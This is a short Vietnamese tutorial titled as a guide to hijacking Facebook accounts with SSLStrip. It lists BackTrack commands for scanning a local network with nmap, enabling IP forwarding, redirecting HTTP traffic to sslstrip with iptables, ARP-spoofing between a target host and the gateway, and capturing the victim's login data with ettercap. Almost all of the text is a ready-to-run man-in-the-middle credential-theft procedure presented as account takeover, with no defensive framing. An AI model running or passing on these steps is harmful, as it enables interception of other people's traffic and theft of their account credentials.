Chiếm đoạt tài khoản Facebook sử dụng SSLStrip

Yêu cầu: máy Backtrack cài đặt ip và kết nối internet

Bước 1. Ghi file name server

root@bt:~# **echo nameserver 8.8.8.8 > /etc/resolv.conf**

Xem file resolv.conf

root@bt:~# **cat /etc/resolv.conf**

Bước 2: scan toàn bộ mạng

root@bt:~# **nmap 192.168.100.0/24**

Bước 3: Ghi 1 vào file ip\_forward

root@bt:~# **echo 1 > /proc/sys/net/ipv4/ip\_forward**

Xem file ip\_forward

root@bt:~# **cat /proc/sys/net/ipv4/ip\_forward**

Bước 4: mở port trên firewall

root@bt:~# **iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000**

Bước 5: lưu file cấu hình

root@bt:~# **/sbin/iptables-save**

Bước 6: thêm quyền execure vào file sslstip

root@bt:~# **cd /pentest/web/sslstrip/**

root@bt:/pentest/web/sslstrip# **chmod +x sslstrip**

root@bt:/pentest/web/sslstrip# **./sslstrip.py -l 2000**

Bước 7: Giả làm Router gửi trả Packet cho mục tiêu

root@bt:~# **arpspoof -i eth0 -t 192.168.100.1 192.168.100.71**

root@bt:~# **arpspoof -i eth0 -t 192.168.100.71 192.168.100.1**

Bước 8: Hiển thị thông tin bắt được từ mục tiêu

root@bt:~# **ettercap -Tqi eth0**

Vào máy client truy cập facebook và dùng máy Backtrack để theo dõi

Bước 9: Mở giao diện facebook trên BackTrack

root@bt:~# **firefox** [**www.facebook.com**](http://www.facebook.com)